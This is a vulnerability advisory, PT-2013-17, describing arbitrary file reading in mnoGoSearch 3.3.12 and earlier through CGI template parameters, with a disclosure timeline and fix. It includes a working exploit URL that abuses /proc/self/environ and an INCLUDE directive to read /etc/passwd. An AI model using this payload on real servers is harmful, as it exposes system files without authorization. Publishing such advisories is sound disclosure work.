PT-2013-17: Arbitrary Files Reading in mnoGoSearch Vulnerable softwaremnoGoSearch Version: 3.3.12 and earlierApplication link: http://www.mnogosearch.org/Severity levelSeverity level: High Impact: Arbitrary Files Reading Access Vector: Remote CVSS v2: Base Score: 7.8 Vector: (AV:N/AC:L/Au:N/C:C/I:N/A:N)CVE: not assigned Software descriptionmnoGoSearch is a universal Intranet and Internet search engine.Vulnerability descriptionPositive Technologies experts have detected an Arbitrary Files Reading vulnerability in mnoGoSearch.Passing startup parameters via QUERY_STRING (http://tools.ietf.org/html/draft-robinson-www-interface-00#section-7) for an application running in CGI mode can be used to set page template path variable "d". Generating a template file on the server and specifying it in the variable "d" can result in Arbitrary Files Reading via <!INCLUDE CONTENT="URI"> template structure. ---[ Exploitation example] The /proc/self/environ file, in which part of the template is formed through the PATH_INFO environment variable, can be used as a template. <!--top--> <!INCLUDE CONTENT="file:/etc/passwd"> <!--/top-->http://host/cgi-bin/search.cgi/%0A%3C!--top--%3E%0A%3C!INCLUDE%20CONTENT=%22file:/etc/passwd%22%3E%0A%3C!--/top--%3E?-d/proc/self/environHow to fixUpdate your software up to the latest version.Advisory status15.02.2013 - Vendor gets vulnerability details 01.03.2013 - Vendor releases fixed version and details 05.03.2013 - Public disclosureCreditsThe vulnerabilities has discovered by Sergey Bobrov, Positive Research Center (Positive Technologies Company)Referenceshttp://en.securitylab.ru/lab/PT-2013-17 http://www.mnogosearch.org/bugs/index.php?id=4818 Reports on the vulnerabilities previously discovered by Positive Research:http://ptsecurity.com/research/advisory/ http://en.securitylab.ru/lab/